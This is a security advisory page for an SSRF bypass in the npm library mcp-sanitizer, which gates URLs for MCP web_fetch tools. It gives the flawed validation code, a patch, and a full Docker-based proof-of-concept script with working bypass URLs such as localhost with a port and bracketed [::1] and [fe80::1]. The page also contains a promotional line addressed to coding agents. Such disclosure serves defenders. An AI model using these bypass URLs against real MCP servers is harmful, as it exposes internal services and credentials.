# GHSA-4MFG-R38W-W8FG: mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

- Severity: high (stated by ghsa, no CVSS score)
- Known exploited (CISA KEV): no
- Fixed in: 1.4.0
- Published: 2026-10-28 · Updated: 2026-10-28

## Summary

The mcp-sanitizer library, used to validate URL parameters for MCP tools such as web_fetch and web_scraper, fails to block SSRF targets when a localhost URL includes an explicit port or an IPv6 loopback or link-local address is written in bracketed form. This allows attacker-supplied URLs to reach internal services and potentially expose their responses.

Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources.

## Affected

- mcp-sanitizer (npm): fixed in 1.4.0

## Description

## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6 ### Summary `mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses. ### Details The vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`. **Bug 1 — Port-guarded localhost check (line 274–276):** ```js // src/utils/validation-utils.js:274-276 if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) { throw new Error('URL points to localhost without explicit port'); } ``` The `&& !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved. **Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):** ```js // src/utils/validation-utils.js:293-295 if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) { throw new Error(`URL points to link-local address: ${hostname}`); } ``` The Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === '::1'` (line 274) and `hostname.startsWith('fe80:')` (line 293) therefore never match, because the actual string starts with `[`. **Data flow through the middleware:** 1. `src/middleware/express.js:499` — tool name derived from `req.params.toolName || req.body?.tool_name`. 2. `src/middleware/express.js:548-554` — `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: 'url' })`. 3. `src/sanitizer/mcp-sanitizer.js:527-528` — context type `url` routes to `_secureSanitizeURL()`. 4. `src/sanitizer/mcp-sanitizer.js:698-700` — `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL. Both bugs are in the default code path; no special configuration is required to trigger them. **Suggested patch:** ```diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const { URL } = require('url'); +const net = require('net'); @@ - const hostname = parsedUrl.hostname.toLowerCase(); + const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, ''); @@ - if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) { - throw new Error('URL points to localhost without explicit port'); + if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') { + throw new Error('URL points to localhost or loopback'); } @@ - if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) { + if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') || + hostname.startsWith('fc') || hostname.startsWith('fd')) { throw new Error(`URL points to link-local address: ${hostname}`); } + + if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) { + throw new Error(`URL points to restricted IPv6 address: ${hostname}`); + } ``` ### PoC **Prerequisites:** Docker installed; no other dependencies required. **1. Build the Docker image:** ```bash docker build \ -f vuln-001/Dockerfile \ -t vuln-001-mcp-sanitizer \ reports/npmAI_754_starman69__mcp-sanitizer ``` **2. Run the PoC:** ```bash docker run --rm vuln-001-mcp-sanitizer ``` The `poc.py` script inside the image: - Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`. - Calls `sanitizer.sanitize(url, { type: 'url' })` via Node.js for five URLs (two expected-blocked, three bypass candidates). - Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned. **Expected output (abbreviated):** ``` [BYPASS_CONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/ [BYPASS_CONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/ [BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/ [SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/' [!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c RESULT: PASS - SSRF bypass fully demonstrated end-to-end ``` Baseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic. **Minimal inline repro (no Docker):** ```bash # Inside the mcp-sanitizer repository root (npm ci first) node - <<'NODE' const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer'); const sanitizer = new MCPSanitizer(); for (const url of [ 'http://localhost:8080/', 'http://[::1]:8080/', 'http://[fe80::1]:8080/' ]) { const r = sanitizer.sanitize(url, { type: 'url' }); console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized); } NODE ``` ### Impact This is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that: 1. Uses `mcp-sanitizer`'s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and** 2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for `web_fetch`/`web_scraper` MCP tools), is exploitable by any party that can supply the `url` parameter — typically an unauthenticated network attacker in an MCP server deployment. **Consequences:** - **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration. - **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP. - **Availability:** Not directly impacted. The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:18-alpine # Install Python3 for the PoC script RUN apk add --no-cache python3 WORKDIR /app # Copy package files first for better layer caching COPY repo/package.json repo/package-lock.json ./ # Install Node.js dependencies (clean install, no dev deps) RUN npm ci --ignore-scripts --omit=dev # Copy library source COPY repo/src ./src/ # Copy PoC script COPY vuln-001/poc.py ./poc.py # Run the PoC by default CMD ["python3", "poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation Library: mcp-sanitizer v1.3.3 (commit caff5d6) CWE-918: Server-Side Request Forgery CVSS 3.1: 8.2 (High) Root cause: src/utils/validation-utils.js:274: if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block. - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6, so the string equality check against "::1" and startsWith("fe80:") both silently fail. Attack scenario: 1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call. 2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result. 3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal service (localhost:PORT), leaking its response to the attacker. """ import subprocess import sys import json import http.server import threading import urllib.request import os # ───────────────────────────────────────────────────────────────────────────── # Step 1: Start a mock "internal" service on 127.0.0.1:8080 # This simulates a privileged internal endpoint (e.g., metadata API, # admin panel) that should never be reachable from external input. # ───────────────────────────────────────────────────────────────────────────── INTERNAL_PORT = 8080 INTERNAL_SECRET = "INTERNAL_SECRET_DATA_9f3a2b1c" class InternalServiceHandler(http.server.BaseHTTPRequestHandler): """Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint).""" def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("X-Internal", "true") self.end_headers() self.wfile.write(f"{INTERNAL_SECRET}\npath={self.path}\n".encode()) def log_message(self, fmt, *args): pass # Suppress default access logs for cleaner output internal_server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), InternalServiceHandler) srv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True) srv_thread.start() print(f"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}") print(f"[*] Internal secret: {INTERNAL_SECRET}\n") # ───────────────────────────────────────────────────────────────────────────── # Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs # ───────────────────────────────────────────────────────────────────────────── NODE_SCRIPT = r""" 'use strict'; const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer'); const sanitizer = new MCPSanitizer(); const tests = [ // These should be BLOCKED (baseline: library is supposed to block localhost) { url: 'http://localhost/', expectBlocked: true }, { url: 'http://127.0.0.1/', expectBlocked: true }, // These are the BYPASS cases (the vulnerability) { url: 'http://localhost:8080/', expectBlocked: false }, { url: 'http://[::1]:8080/', expectBlocked: false }, { url: 'http://[fe80::1]:8080/', expectBlocked: false }, ]; const out = tests.map(t => { let result; try { result = sanitizer.sanitize(t.url, { type: 'url' }); return { url: t.url, blocked: result.blocked, sanitized: result.sanitized, expectBlocked: t.expectBlocked }; } catch (err) { return { url: t.url, blocked: true, sanitized: null, expectBlocked: t.expectBlocked, error: err.message }; } }); process.stdout.write(JSON.stringify(out)); """ print("[*] Running mcp-sanitizer URL sanitization tests via Node.js ...") proc = subprocess.run( ["node", "-e", NODE_SCRIPT], capture_output=True, text=True, cwd="/app" ) if proc.returncode != 0: print(f"[ERROR] Node.js process exited with code {proc.returncode}") print(f"stderr: {proc.stderr}") sys.exit(2) if not proc.stdout.strip(): print("[ERROR] No output from Node.js process") print(f"stderr: {proc.stderr}") sys.exit(2) results = json.loads(proc.stdout) # ───────────────────────────────────────────────────────────────────────────── # Step 3: Print sanitizer results and identify bypassed URLs # ───────────────────────────────────────────────────────────────────────────── print("[*] Sanitizer results:\n") header = f"{'URL':<35} {'blocked':<8} {'sanitized':<35} status" print(header) print("-" * len(header)) bypass_urls = [] unexpected = [] for r in results: blocked = r["blocked"] expected = r["expectBlocked"] sanitized_str = str(r.get("sanitized") or "null") status = "OK" if blocked == expected else "UNEXPECTED" if not blocked and r.get("sanitized"): bypass_urls.append(r["sanitized"]) status = "BYPASS_CONFIRMED" print(f"{r['url']:<35} {str(blocked):<8} {sanitized_str:<35} {status}") if blocked != expected: unexpected.append(r) print() # ───────────────────────────────────────────────────────────────────────────── # Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL # This proves the sanitizer flaw leads to real internal service access. # ───────────────────────────────────────────────────────────────────────────── ssrf_confirmed = False ssrf_evidence = None ssrf_url = "http://localhost:8080/" if ssrf_url in bypass_urls: print(f"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...") try: resp = urllib.request.urlopen(ssrf_url, timeout=5) body = resp.read().decode().strip() print(f"[*] HTTP response status: {resp.status}") print(f"[*] HTTP response body:\n {body.replace(chr(10), chr(10) + ' ')}") if INTERNAL_SECRET in body: ssrf_confirmed = True ssrf_evidence = body print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}") except Exception as exc: print(f"[ERROR] HTTP request failed: {exc}") else: print(f"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step") internal_server.shutdown() # ───────────────────────────────────────────────────────────────────────────── # Step 5: Final verdict # ───────────────────────────────────────────────────────────────────────────── print(f"\n{'='*65}") print("VERDICT") print(f"{'='*65}") print(f" Bypass URLs confirmed by sanitizer: {len(bypass_urls)}") print(f" Bypassed URLs: {bypass_urls}") print(f" Actual SSRF HTTP request succeeded: {ssrf_confirmed}") print(f" Exfiltrated secret matches: {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}") if ssrf_confirmed and len(bypass_urls) >= 2: print("\n RESULT: PASS - SSRF bypass fully demonstrated end-to-end") print(" - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080") print(f" - Actual HTTP GET to internal service returned: {ssrf_evidence!r}") sys.exit(0) elif len(bypass_urls) >= 2: print("\n RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed") print(f" - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}") sys.exit(1) else: print("\n RESULT: FAIL - expected at least 2 bypass URLs") sys.exit(1) ```

## What to do

- Check your stack: if you ship or depend on mcp-sanitizer, upgrade to a fixed version (1.4.0) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-4MFG-R38W-W8FG

## Related

- Browse: [npm packages](https://cve.now/ecosystem/npm.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/starman69/mcp-sanitizer/security/advisories/GHSA-4mfg-r38w-w8fg
- https://github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09
- https://github.com/starman69/mcp-sanitizer
- https://github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/GHSA-4MFG-R38W-W8FG
JSON: https://cve.now/api/v1/entries/GHSA-4MFG-R38W-W8FG
Uses NVD data; not endorsed by NVD.
